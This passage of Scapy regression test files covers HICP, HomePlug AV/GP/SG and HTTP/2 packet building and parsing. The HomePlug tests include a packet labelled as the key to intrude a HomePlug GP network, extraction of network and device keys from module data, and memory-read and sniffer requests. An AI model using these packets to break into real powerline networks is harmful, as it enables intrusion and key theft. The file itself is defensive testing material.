\"ee:ee:ee:ee:ee:ee\")\nassert(pkt.subnet_mask == \"255.255.255.0\")\npkt=HICP(b\"Protocol version = 2; FB type = TEST;Module version = 1.0.0;MAC = cc:cc:cc:cc:cc:cc;IP = 192.168.1.1;SN = 255.255.255.0;GW = 192.168.1.254;DHCP=ON;HN = bonjour;DNS1 = 1.1.1.1;DNS2 = 2.2.2.2\")\nassert(pkt.hicp_command == b\"Module scan response\")\nassert(pkt.protocol_version == b\"2\")\nassert(pkt.fieldbus_type == b\"TEST\")\nassert(pkt.module_version == b\"1.0.0\")\nassert(pkt.mac_address == \"cc:cc:cc:cc:cc:cc\")\nassert(pkt.ip_address == \"192.168.1.1\")\nassert(pkt.subnet_mask == \"255.255.255.0\")\nassert(pkt.gateway_address == \"192.168.1.254\")\nassert(pkt.dhcp == b\"ON\")\nassert(pkt.hostname == b\"bonjour\")\nassert(pkt.dns1 == \"1.1.1.1\")\nassert(pkt.dns2 == \"2.2.2.2\")\n\n+ HICP Wink request\n= Build and dissect Winks\npkt = HICPWink(target=\"dd:dd:dd:dd:dd:dd\")\nassert(pkt.target == \"dd:dd:dd:dd:dd:dd\")\npkt = HICP(b\"To: bb:bb:bb:bb:bb:bb;WINK;\\x00\")\nassert(pkt.target == \"bb:bb:bb:bb:bb:bb\")\n\n+ HICP Configure request\n= Build and dissect new network settings\npkt = HICPConfigure(target=\"aa:aa:aa:aa:aa:aa\", hostname=\"llama\")\nassert(pkt.target == \"aa:aa:aa:aa:aa:aa\")\nassert(pkt.ip_address == \"255.255.255.255\")\nassert(pkt.hostname == b\"llama\")\nassert(raw(pkt) == b\"Configure: aa-aa-aa-aa-aa-aa;IP = 255.255.255.255;SN = 255.255.255.0;GW = 0.0.0.0;DHCP = OFF;HN = llama;DNS1 = 0.0.0.0;DNS2 = 0.0.0.0;\\x00\")\npkt = HICP(b\"Configure: aa-aa-aa-aa-aa-aa;IP = 255.255.255.255;SN = 255.255.255.0;GW = 0.0.0.0;DHCP = OFF;HN = llama;DNS1 = 0.0.0.0;DNS2 = 0.0.0.0;\\x00\")\nassert(pkt.hicp_command == b\"Configure\")\nassert(pkt.target == \"aa:aa:aa:aa:aa:aa\")\nassert(pkt.ip_address == \"255.255.255.255\")\nassert(pkt.hostname == b\"llama\")\n\n+ HICP Configure response\n= Build and dissect successful response to configure request\n\npkt = HICPReconfigured(source=\"11:00:00:00:00:00\")\nassert(pkt.source == \"11:00:00:00:00:00\")\nassert(raw(pkt) == b\"Reconfigured: 11-00-00-00-00-00\\x00\")\npkt = HICP(b\"\\x52\\x65\\x63\\x6f\\x6e\\x66\\x69\\x67\\x75\\x72\\x65\\x64\\x3a\\x20\\x31\\x31\" \\\nb\"\\x2d\\x30\\x30\\x2d\\x30\\x30\\x2d\\x30\\x30\\x2d\\x30\\x30\\x2d\\x30\\x30\\x00\")\nassert(pkt.hicp_command == b\"Reconfigured\")\nassert(pkt.source == \"11:00:00:00:00:00\")\n\n+ HICP Configure error\n= Build and dissect error response to configure request\n\npkt = HICPInvalidConfiguration(source=\"00:11:00:00:00:00\")\nassert(pkt.source == \"00:11:00:00:00:00\")\nassert(raw(pkt) == b\"Invalid Configuration: 00-11-00-00-00-00\\x00\")\npkt = HICP(\nb\"\\x49\\x6e\\x76\\x61\\x6c\\x69\\x64\\x20\\x43\\x6f\\x6e\\x66\\x69\\x67\\x75\\x72\" \\\nb\"\\x61\\x74\\x69\\x6f\\x6e\\x3a\\x20\\x30\\x30\\x2d\\x31\\x31\\x2d\\x30\\x30\\x2d\" \\\nb\"\\x30\\x30\\x2d\\x30\\x30\\x2d\\x30\\x30\\x00\"\n)\nassert(pkt.hicp_command == b\"Invalid Configuration\")\nassert(pkt.source == \"00:11:00:00:00:00\")\n\n+ HICP Configure invalid password\n= Build and dissect invalid password response to configure request\n\npkt = HICPInvalidPassword(source=\"00:00:11:00:00:00\")\nassert(pkt.source == \"00:00:11:00:00:00\")\nassert(raw(pkt) == b\"Invalid Password: 00-00-11-00-00-00\\x00\")\npkt = HICP(b\"\\x49\\x6e\\x76\\x61\\x6c\\x69\" \\\nb\"\\x64\\x20\\x50\\x61\\x73\\x73\\x77\\x6f\\x72\\x64\\x3a\\x20\\x30\\x30\\x2d\\x30\" \\\nb\"\\x30\\x2d\\x31\\x31\\x2d\\x30\\x30\\x2d\\x30\\x30\\x2d\\x30\\x30\\x00\")\nassert(pkt.hicp_command == b\"Invalid Password\")\nassert(pkt.source == \"00:00:11:00:00:00\")\n"
  },
  {
    "path": "test/contrib/homeplugav.uts",
    "content": "% Regression tests for Scapy\n\n+Syntax check\n= Import the homeplugav layer\n\nfrom scapy.contrib.homeplugav import *\n#from scapy.all import \n\n# HomePlugAV\n\n############\n############\n+ Basic tests\n\n* Those test are here mainly to check nothing has been broken\n\n= Building packets packet\n~ basic HomePlugAV GetDeviceVersion StartMACRequest StartMACConfirmation ResetDeviceRequest ResetDeviceConfirmation NetworkInformationRequest ReadMACMemoryRequest ReadMACMemoryConfirmation ReadModuleDataRequest ReadModuleDataConfirmation WriteModuleDataRequest WriteModuleData2NVMRequest WriteModuleData2NVMConfirmation NetworkInfoConfirmationV10 NetworkInfoConfirmationV11 NetworkInfoV10 NetworkInfoV11 HostActionRequired LoopbackRequest LoopbackConfirmation SetEncryptionKeyRequest SetEncryptionKeyConfirmation ReadConfBlockRequest ReadConfBlockConfirmation QUAResetFactoryConfirm GetNVMParametersRequest GetNVMParametersConfirmation SnifferRequest SnifferConfirmation SnifferIndicate\n\nHomePlugAV()\nHomePlugAV()/GetDeviceVersion()\nHomePlugAV()/StartMACRequest()\nHomePlugAV()/StartMACConfirmation()\nHomePlugAV()/ResetDeviceRequest()\nHomePlugAV()/ResetDeviceConfirmation()\nHomePlugAV()/NetworkInformationRequest()\nHomePlugAV()/ReadMACMemoryRequest()\nHomePlugAV()/ReadMACMemoryConfirmation()\nHomePlugAV()/ReadModuleDataRequest()\nHomePlugAV()/ReadModuleDataConfirmation()\nHomePlugAV()/WriteModuleDataRequest()\nHomePlugAV()/WriteModuleData2NVMRequest()\nHomePlugAV()/WriteModuleData2NVMConfirmation()\nHomePlugAV()/NetworkInfoConfirmationV10()\nHomePlugAV()/NetworkInfoConfirmationV11()\nHomePlugAV()/NetworkInfoConfirmationV10()/NetworkInfoV10()\nHomePlugAV()/NetworkInfoConfirmationV11()/NetworkInfoV11()\nHomePlugAV()/HostActionRequired()\nHomePlugAV()/LoopbackRequest()\nHomePlugAV()/LoopbackConfirmation()\nHomePlugAV()/SetEncryptionKeyRequest()\nHomePlugAV()/SetEncryptionKeyConfirmation()\nHomePlugAV()/ReadConfBlockRequest()\nHomePlugAV()/ReadConfBlockConfirmation()\nHomePlugAV()/QUAResetFactoryConfirm()\nHomePlugAV()/GetNVMParametersRequest()\nHomePlugAV()/GetNVMParametersConfirmation()\nHomePlugAV()/SnifferRequest()\nHomePlugAV()/SnifferConfirmation()\nHomePlugAV()/SnifferIndicate()\n\n= Some important manipulations\n~ field\npkt = HomePlugAV()/SetEncryptionKeyRequest()\npkt.NMK = \"A\" * 16\npkt.DAK = \"B\" * 16\nassert raw(pkt) == b'\\x00P\\xa0\\x00\\xb0R\\x00AAAAAAAAAAAAAAAA\\x00\\xff\\xff\\xff\\xff\\xff\\xffBBBBBBBBBBBBBBBB'\n\npkt = HomePlugAV()/ReadMACMemoryRequest()\npkt.Address = 0x31337\npkt.Length = 0x666\nassert raw(pkt) == b'\\x00\\x08\\xa0\\x00\\xb0R7\\x13\\x03\\x00f\\x06\\x00\\x00'\n\npkt = HomePlugAV()/ReadModuleDataRequest()\npkt.Length = 0x666\npkt.Offset = 0x1337\nassert raw(pkt) == b'\\x00$\\xa0\\x00\\xb0R\\x02\\x00f\\x067\\x13\\x00\\x00'\n\npkt = HomePlugAV()/SnifferRequest()\npkt.SnifferControl = 0x1\nassert raw(pkt) == b\"\\x004\\xa0\\x00\\xb0R\\x01\"\n\n= Some important fields parsing\n~ field\n_xstr = b\"\\x00%\\xa0\\x00\\xb0R\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x04\\x00\\x00\\x00\\x00`\\x8d\\x05\\xf9\\x04\\x01\\x00\\x00\\x88)\\x00\\x00\\x87`[\\x14\\x00$\\xd4okm\\x1f\\xedHu\\x85\\x16>\\x86\\x1aKM\\xd2\\xe91\\xfc6\\x00\\x00603506A112119017\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00z]\\xa9\\xe2]\\xedR\\x8b\\x85\\\\\\xdf\\xe8~\\xe9\\xb2\\x14637000A112139290\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00FREEPLUG_LC_6400_4-1_1.0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xbb\\xcb\\x0e\\x10 \\xad\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x0f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00`\\xe5\\x16\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x01\\x03\\x02\\x80\\x84\\x1e\\x00\\x80\\x84\\x1e\\x00\\xe0\\x93\\x04\\x00\\xe0\\x93\\x04\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\npkt = HomePlugAV(_xstr)\nassert ReadModuleDataConfirmation in pkt\nassert pkt[ReadModuleDataConfirmation].ModuleID == 2\nassert pkt[ReadModuleDataConfirmation].checksum == 4177890656\nassert pkt[ReadModuleDataConfirmation].DataLen == 1024\nassert pkt[ReadModuleDataConfirmation].Offset == 0\n\np = ModulePIB(pkt.ModuleData, pkt.Offset, pkt.DataLen)\nassert p.NMK == b\"z]\\xa9\\xe2]\\xedR\\x8b\\x85\\\\\\xdf\\xe8~\\xe9\\xb2\\x14\"\nassert p.DAK == b\"\\x1f\\xedHu\\x85\\x16>\\x86\\x1aKM\\xd2\\xe91\\xfc6\"\n\n#= Discovery packet tests in local\n#~ netaccess HomePlugAV NetworkInfoConfirmationV10 NetworkInfoConfirmationV11\n#pkt = Ether()/HomePlugAV()\n#old_debug_dissector = conf.debug_dissector\n#conf.debug_dissector = False\n#a = srp1(pkt, iface=\"eth0\")\n#conf.debug_dissector = old_debug_dissector\n#a\n#pkt.version = a.version\n#pkt /= NetworkInformationRequest()\n#old_debug_dissector = conf.debug_dissector\n#conf.debug_dissector = False\n#a = srp1(pkt, iface=\"eth0\")\n#conf.debug_dissector = old_debug_dissector\n#NetworkInfoConfirmationV10 in a or NetworkInfoConfirmationV11 in a\n#_ == True\n\n#= Reading local 0x400st octets of Software Image in Module Data blocks\n#~ netaccess HomePlugAV ReadModuleDataRequest\n#pkt = Ether()/HomePlugAV()/ReadModuleDataRequest(ModuleID=0x1)\n#old_debug_dissector = conf.debug_dissector\n#conf.debug_dissector = False\n#a = srp1(pkt, iface=\"eth0\")\n#conf.debug_dissector = old_debug_dissector\n#a\n#len(a.ModuleData) == pkt.Length\n#_ == True\n\n= Testing length and checksum on a generated Write Module Data Request\nstring = b\"goodchoucroute\\x00\\x00\"\npkt = WriteModuleDataRequest(ModuleData=string)\npkt = WriteModuleDataRequest(pkt.build())\npkt.show()\na = pkt.checksum == chksum32(pkt.ModuleData)\nb = pkt.DataLen == len(pkt.ModuleData)\na, b\nassert a and b\n"
  },
  {
    "path": "test/contrib/homepluggp.uts",
    "content": "% Regression tests for Scapy\n\n+Syntax check\n= Import the homeplugg layer\n\nfrom scapy.contrib.homepluggp import *\nimport binascii\n#from scapy.all import \n\n# HomePlugGP\n\n############\n############\n+ Basic tests\n\n* Those test are here mainly to check nothing has been broken\n\n= Most important packet to intrude a HPGP network\n~ field\n_xstr = binascii.unhexlify(\"0108600000010000000000000000040000000227cfe35f01e50a01c8a074ad04537cb54b88b62d49b35b51000000c1f2\")\npkt = HomePlugAV(_xstr)\nassert pkt.NewKey == b'\\xc8\\xa0t\\xad\\x04S|\\xb5K\\x88\\xb6-I\\xb3[Q' \nassert pkt.NetworkID == b\"'\\xcf\\xe3_\\x01\\xe5\\n\"\n\n= Some other important parsing tests\n~ field\n_xstr = b'\\x01\\x08`\\x00\\x00\\x01\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x96F`Y\\xbf\\xf8\\x05\\x0164\\xc5\\xdf.nO}r\\x05\\xf5\\x8d9)S\\xc0\\x00\\x00\\x00'\npkt = HomePlugAV(_xstr)\nassert pkt.MyNonce == 0xaaaaaaaa\nassert pkt.YourNonce == 0x0\nassert pkt.PID == 4\nassert pkt.NetworkID == b'\\x96F`Y\\xbf\\xf8\\x05'\nassert pkt.NewKey == b'64\\xc5\\xdf.nO}r\\x05\\xf5\\x8d9)S\\xc0'\n\n_xstr = b'\\x01e`\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\n\\x06\\x01\\xbc\\xf2\\xaf\\xf1\\x00\\x04\\x00\\x00=\\x83\\xfb\\xe2\\xbb\\x0b\\xb8\\x8a\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\npkt = HomePlugAV(_xstr)\nassert pkt.MSoundTargetMAC == 'ff:ff:ff:ff:ff:ff'\nassert pkt.NumberMSounds == 10\nassert pkt.TimeOut == 6\nassert pkt.ResponseType == 1\nassert pkt.ForwardingSTA == 'bc:f2:af:f1:00:04'\nassert pkt.SecurityType == 0\nassert pkt.RunID == b'=\\x83\\xfb\\xe2\\xbb\\x0b\\xb8\\x8a'\n\n_xstr = b'\\x01n`\\x00\\x00\\x00\\x00\\xbc\\xf2\\xaf\\xf1\\x00\\x04=\\x83\\xfb\\xe2\\xbb\\x0b\\xb8\\x8a\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n:!\\t\\t\\n\\x06\\x06\\x0e\\x07\\x07\\t\\t\\n\\n\\x0b\\x0b\\x0b\\x0b\\x0c\\r\\x0e\\x0e\\x0e\\x0f\\x0f\\x0f\\x0f\\x11\\x11\\x11\\x12\\x12\\x12\\x12\\x12\\x13\\x12\\x12\\x11\\x11\\x11\\x10\\x12\\x12\\x12\\x11\\x10\\x0f\\x0f\\x10\\x14\\x12\\x10\\x10\\x11\\x12\\x14\\x16;'\npkt = HomePlugAV(_xstr)\nassert len(pkt.Groups) == pkt.NumberOfGroups\nassert pkt.NumberOfSounds == 10\n\n_xstr = b'\\x01v`\\x00\\x00\\x00\\x00\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\t\\xe8jdY,w\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\npkt = HomePlugAV(_xstr)\nassert pkt.SenderID == b'\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'\n\n= Some important manipulations\n~ field\npkt = HomePlugAV(version=0x01)/CM_MNBC_SOUND_IND()\npkt.RandomValue=\"AAAAAAAAAA\"\nassert raw(pkt) == b'\\x01v`\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00AAAAAAAAAA\\x00\\x00\\x00\\x00\\x00\\x00'\n\npkt = HomePlugAV()/CM_SET_KEY_REQ(YourNonce=0xaaaa, NewKey=\"b\" * 16)\nassert raw(pkt) == b'\\x00\\x08`\\x00\\xb0R\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00bbbbbbbbbbbbbbbb' \n"
  },
  {
    "path": "test/contrib/homeplugsg.uts",
    "content": "% Regression tests for Scapy\n\n+Syntax check\n= Import the homepluggq layer\n\nfrom scapy.contrib.homeplugsg import *\nimport binascii\n#from scapy.all import \n\n# HomePlugSG\n\n############\n############\n+ Basic tests\n\n* Those test are here mainly to check nothing has been broken\n\n= Some important manipulations\n~ field\npkt=HomePlugAV(version=0x01)/VS_UART_CMD_REQ()\npkt.UData = \"AT+LOG?\"\nassert raw(pkt) == b'\\x01\\x00\\xa4\\x00\\x00\\x00\\x01AT+LOG?' \n"
  },
  {
    "path": "test/contrib/http2.uts",
    "content": "% HTTP/2 Campaign\n# Frames expressed as binary str were generated using the solicit and hpack-rs\n# Rust crates (https://github.com/mlalic/solicit, https://github.com/mlalic/hpack-rs)\n# except Continuation Frames, Priority Frames and Push Promise Frames that we generated\n# using Go x/net/http2 and x/net/http2/hpack modules.\n\n+ Syntax check\n= Configuring Scapy\n~ http2 frame hpack build dissect data headers priority settings rststream pushpromise ping goaway winupdate continuation hpackhdrtable helpers\n\nimport scapy.config\nscapy.config.conf.debug_dissector=True\nimport scapy.packet\nimport scapy.fields\nimport scapy.contrib.http2 as h2\nimport re\nflags_bit_pattern = re.compile(r'''^\\s+flags\\s+=\\s+\\[.*['\"]bit [0-9]+['\"].*\\]$''', re.M)\ndef expect_exception(e, c):\n    try:\n        eval(c)\n        return False\n    except e:\n        return True\n\n+ HTTP/2 UVarIntField Test Suite\n\n= HTTP/2 UVarIntField.any2i\n~ http2 frame field uvarintfield\n\nf = h2.UVarIntField('value', 0, 5)\nexpect_exception(AssertionError, 'f.any2i(None, None)')\nassert f.any2i(None, 0) == 0\nassert f.any2i(None, 3) == 3\nassert f.any2i(None, 1<<5) == 1<<5\nassert f.any2i(None, 1<<16) == 1<<16\nf = h2.UVarIntField('value', 0, 8)\nassert f.any2i(None, b'\\x1E') == 30\n\n= HTTP/2 UVarIntField.m2i on full byte\n~ http2 frame field uvarintfield\n\nf = h2.UVarIntField('value', 0, 8)\nassert f.m2i(None, b'\\x00') == 0\nassert f.m2i(None, b'\\x03') == 3\nassert f.m2i(None, b'\\xFE') == 254\nassert f.m2i(None, b'\\xFF\\x00') == 255\nassert f.m2i(None, b'\\xFF\\xFF\\x03') == 766 #0xFF + (0xFF ^ 0x80) + (3<<7\n\n= HTTP/2 UVarIntField.m2i on partial byte\n~ http2 frame field uvarintfield\n\nf = h2.UVarIntField('value', 0, 5)\nassert f.m2i(None, (b'\\x00', 3)) == 0\nassert f.m2i(None, (b'\\x03', 3)) == 3\nassert f.m2i(None, (b'\\x1e', 3)) == 30\nassert f.m2i(None, (b'\\x1f\\x00', 3)) == 31\nassert f.m2i(None, (b'\\x1f\\xe1\\xff\\x03', 3)) == 65536\n\n= HTTP/2 UVarIntField.getfield on full byte\n~ http2 frame field uvarintfield\n\nf = h2.UVarIntField('value', 0, 8)\n\nr = f.getfield(None, b'\\x00\\x00')\nassert r[0] == b'\\x00'\nassert r[1] == 0\n\nr = f.getfield(None, b'\\x03\\x00')\nassert r[0] == b'\\x00'\nassert r[1] == 3\n\nr = f.getfield(None, b'\\xFE\\x00')\nassert r[0] == b'\\x00'\nassert r[1] == 254\n\nr = f.getfield(None, b'\\xFF\\x00\\x00')\nassert r[0] == b'\\x00'\nassert r[1] == 255\n\nr = f.getfield(None, b'\\xFF\\xFF\\x03\\x00')\nassert r[0] == b'\\x00'\nassert r[1] == 766\n\n= HTTP/2 UVarIntField.getfield on partial byte\n~ http2 frame field uvarintfield\n\nf = h2.UVarIntField('value', 0, 5)\n\nr = f.getfield(None, (b'\\x00\\x00', 3))\nassert r[0] == b'\\x00'\nassert r[1] == 0\n\nr = f.getfield(None, (b'\\x03\\x00', 3))\nassert r[0] == b'\\x00'\nassert r[1] == 3\n\nr = f.getfield(None, (b'\\x1e\\x00', 3))\nassert r[0] == b'\\x00'\nassert r[1] == 30\n\nr = f.getfield(None, (b'\\x1f\\x00\\x00', 3))\nassert r[0] == b'\\x00'\nassert r[1] == 31\n\nr = f.getfield(None, (b'\\x1f\\xe1\\xff\\x03\\x00', 3))\nassert r[0] == b'\\x00'\nassert r[1] == 65536\n\n= HTTP/2 UVarIntField.i2m on full byte\n~ http2 frame field uvarintfield\n\nf = h2.UVarIntField('value', 0, 8)\nassert f.i2m(None, 0) == b'\\x00'\nassert f.i2m(None, 3) == b'\\x03'\nassert f.i2m(None, 254).lower() == b'\\xfe'\nassert f.i2m(None, 255).lower() == b'\\xff\\x00'\nassert f.i2m(None, 766).lower() == b'\\xff\\xff\\x03'\n\n= HTTP/2 UVarIntField.i2m on partial byte\n~ http2 frame field uvarintfield\n\nf = h2.UVarIntField('value', 0, 5)\nassert f.i2m(None, 0) == b'\\x00'\nassert f.i2m(None, 3) == b'\\x03'\nassert f.i2m(None, 30).lower() == b'\\x1e'\nassert f.i2m(None, 31).lower() == b'\\x1f\\x00'\nassert f.i2m(None, 65536).lower() == b'\\x1f\\xe1\\xff\\x03'\n\n= HTTP/2 UVarIntField.addfield on full byte\n~ http2 frame field uvarintfield\n\nf = h2.UVarIntField('value', 0, 8)\n\nassert f.addfield(None, b'Toto', 0) == b'Toto\\x00'\nassert f.addfield(None, b'Toto', 3) == b'Toto\\x03'\nassert f.addfield(None, b'Toto', 254).lower() == b'toto\\xfe'\nassert f.addfield(None, b'Toto', 255).lower() == b'toto\\xff\\x00'\nassert f.addfield(None, b'Toto', 766).lower() == b'toto\\xff\\xff\\x03'\n\n= HTTP/2 UVarIntField.addfield on partial byte\n~ http2 frame field uvarintfield\n\nf = h2.UVarIntField('value', 0, 5)\n\nassert f.addfield(None, (b'Toto', 3, 4), 0) == b'Toto\\x80'\nassert f.addfield(None, (b'Toto', 3, 4), 3) == b'Toto\\x83'\nassert f.addfield(None, (b'Toto', 3, 4), 30).lower() == b'toto\\x9e'\nassert f.addfield(None, (b'Toto', 3, 4), 31).lower() == b'toto\\x9f\\x00'\nassert f.addfield(None, (b'Toto', 3, 4), 65536).lower() == b'toto\\x9f\\xe1\\xff\\x03'\n\n= HTTP/2 UVarIntField.i2len on full byte\n~ http2 frame field uvarintfield\n\nf = h2.UVarIntField('value', 0, 8)\n\nassert f.i2len(None, 0) == 1\nassert f.i2len(None, 3) == 1\nassert f.i2len(None, 254) == 1\nassert f.i2len(None, 255) == 2\nassert f.i2len(None, 766) == 3\n\n= HTTP/2 UVarIntField.i2len on partial byte\n~ http2 frame field uvarintfield\n\nf = h2.UVarIntField('value', 0, 5)\n\nassert f.i2len(None, 0) == 1\nassert f.i2len(None, 3) == 1\nassert f.i2len(None, 30) == 1\nassert f.i2len(None, 31) == 2\nassert f.i2len(None, 65536) == 4\n\n+ HTTP/2 FieldUVarLenField Test Suite\n\n= HTTP/2 FieldUVarLenField.i2m without adjustment\n~ http2 frame field fielduvarlenfield\n\n\nf = h2.FieldUVarLenField('len', None, 8, length_of='data')\nclass TrivialPacket(Packet):\n    name = 